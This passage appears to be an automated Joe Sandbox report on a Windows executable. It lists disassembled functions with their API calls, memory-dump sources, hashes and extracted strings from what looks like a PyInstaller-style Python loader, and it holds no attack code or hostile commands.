                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
                                                                                                                                                                                                                                              • Instruction ID: eb555d306f2410886f853e755ef5075ccd5e3e8f86bd11b2da9e6f69f5da6fd7
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 08E0ECA1E0CA0BC7FB163BA5458A279D1505F5F344FD54430E9381E2C7FE6C684966F1
                                                                                                                                                                                                                                              Function 00007FF7FD74D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • HeapAlloc.KERNEL32(?,?,?,00007FF7FD740D00,?,?,?,00007FF7FD74236A,?,?,?,?,?,00007FF7FD743B59), ref: 00007FF7FD74D6AA
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AllocHeap
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 4292702814-0
                                                                                                                                                                                                                                              • Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                              • Instruction ID: 7fc8f2ee4b1641adca4c2bf70740592da4c857d45ac39aae812cf612aa983cb0
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6FF03A00A0D202C4FB567A62580927592905F5EBF0F880634DD7E4E2D5FE2CA44082F2

                                                                                                                                                                                                                                              Non-executed Functions

                                                                                                                                                                                                                                              Function 00007FF7FD73D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3140674995-0
                                                                                                                                                                                                                                              • Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                              • Instruction ID: c70b516ab2ed10c744ccd03027008c09adf792479a8373ec4d11702b2a03f078
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 11311072A0CA8186EB609F60E8807FE7365FB88744F444439DA5D4BB94EF78D548C7B1
                                                                                                                                                                                                                                              Function 00007FF7FD74A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1239891234-0
                                                                                                                                                                                                                                              • Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                              • Instruction ID: 3a80c898d4f54d80de7843f5c62325874ee4ccd6a0cfc2164faa2dc7be93ef37
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AB31533261CB8186D7609F25E8443AEB3A4FB89758F940135EAAD4BB94EF3CD14587A0
                                                                                                                                                                                                                                              Function 00007FF7FD7518E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileFindFirst_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2227656907-0
                                                                                                                                                                                                                                              • Opcode ID: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
                                                                                                                                                                                                                                              • Instruction ID: d5a8905a80b65060769db4e0d49fa42e0f59a3b6ed01578672daf20dc6efd8c4
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E4B18226B1C69281EF61AB6194042B9B351EB49BE5F944132DE6D0BBC9FE3CE44183F1
                                                                                                                                                                                                                                              Function 00007FF7FD735820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD735830
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD735842
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD735879
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD73588B
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD7358A4
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD7358B6
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD7358CF
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD7358E1
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD7358FD
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD73590F
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD73592B
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD73593D
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD735959
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD73596B
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD735987
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD735999
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD7359B5
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD7364BF,?,00007FF7FD73336E), ref: 00007FF7FD7359C7
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressErrorLastProc
                                                                                                                                                                                                                                              • String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                                                                                                                                                                                                                              • API String ID: 199729137-653951865
                                                                                                                                                                                                                                              • Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                              • Instruction ID: 878d768df1f538f7e01a6c76eb0b36c92f901ec61f80957981fa6f84d35cfa83
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F222A165A0DB1796FB55BB55A8503B8A3A0AF0C745FC41535C83E0A2E0FFBCB14992F2
                                                                                                                                                                                                                                              Function 00007FF7FD7376B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressErrorLastProc
                                                                                                                                                                                                                                              • String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                                                                                                                                                                                                              • API String ID: 199729137-3427451314
                                                                                                                                                                                                                                              • Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                              • Instruction ID: 46c08bb4b65a741d94941c9c34280f0023899d77a03d054d15cfe9801fd4a57e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 48029E20A0EB07D1EB54BB55A8647B4A3A1AF0C755FC41535D83E0A2E0FF7CB58992F2
                                                                                                                                                                                                                                              Function 00007FF7FD7381C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD739400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FD7345E4,00000000,00007FF7FD731985), ref: 00007FF7FD739439
                                                                                                                                                                                                                                              • ExpandEnvironmentStringsW.KERNEL32(?,00007FF7FD7388A7,?,?,00000000,00007FF7FD733CBB), ref: 00007FF7FD73821C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD732810: MessageBoxW.USER32 ref: 00007FF7FD7328EA
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                                                                                                                                                                                                              • String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
                                                                                                                                                                                                                                              • API String ID: 1662231829-930877121
                                                                                                                                                                                                                                              • Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
                                                                                                                                                                                                                                              • Instruction ID: 8d65f5b74349fa48aa9fd58c35f9d0f07ba0e431a2d592abd1e5121bd0e7f14c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 25517E11A1CA4281FB50BB25E8553BAE250AF9C780FC44431E92E8F6D5FEBCE50993F0
                                                                                                                                                                                                                                              Function 00007FF7FD732180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                                                                                                                                                                                                              • String ID: P%
                                                                                                                                                                                                                                              • API String ID: 2147705588-2959514604
                                                                                                                                                                                                                                              • Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                              • Instruction ID: 6d9520f9c258784b8239faf7fca53da3c50ba111051397c29fbe88f4ef99255c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B051E626608BA186D7349F26A4182BAF7A1F79CB61F404121EFDE43694EF3CD045DB70
                                                                                                                                                                                                                                              Function 00007FF7FD7380B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: LongWindow$BlockCreateErrorLastReasonShutdown
                                                                                                                                                                                                                                              • String ID: Needs to remove its temporary files.
                                                                                                                                                                                                                                              • API String ID: 3975851968-2863640275
                                                                                                                                                                                                                                              • Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                              • Instruction ID: d23d6a378258dc5d73f81dca3d0d388f0e3827ef8e79cdf9673abb1b4d59b59a
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6E217121B0CA4282E7556B7AA854379E250EF8CB90FD84235DA3D4B3D4FE6CD59082F2
                                                                                                                                                                                                                                              Function 00007FF7FD746300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: -$:$f$p$p
                                                                                                                                                                                                                                              • API String ID: 3215553584-2013873522
                                                                                                                                                                                                                                              • Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
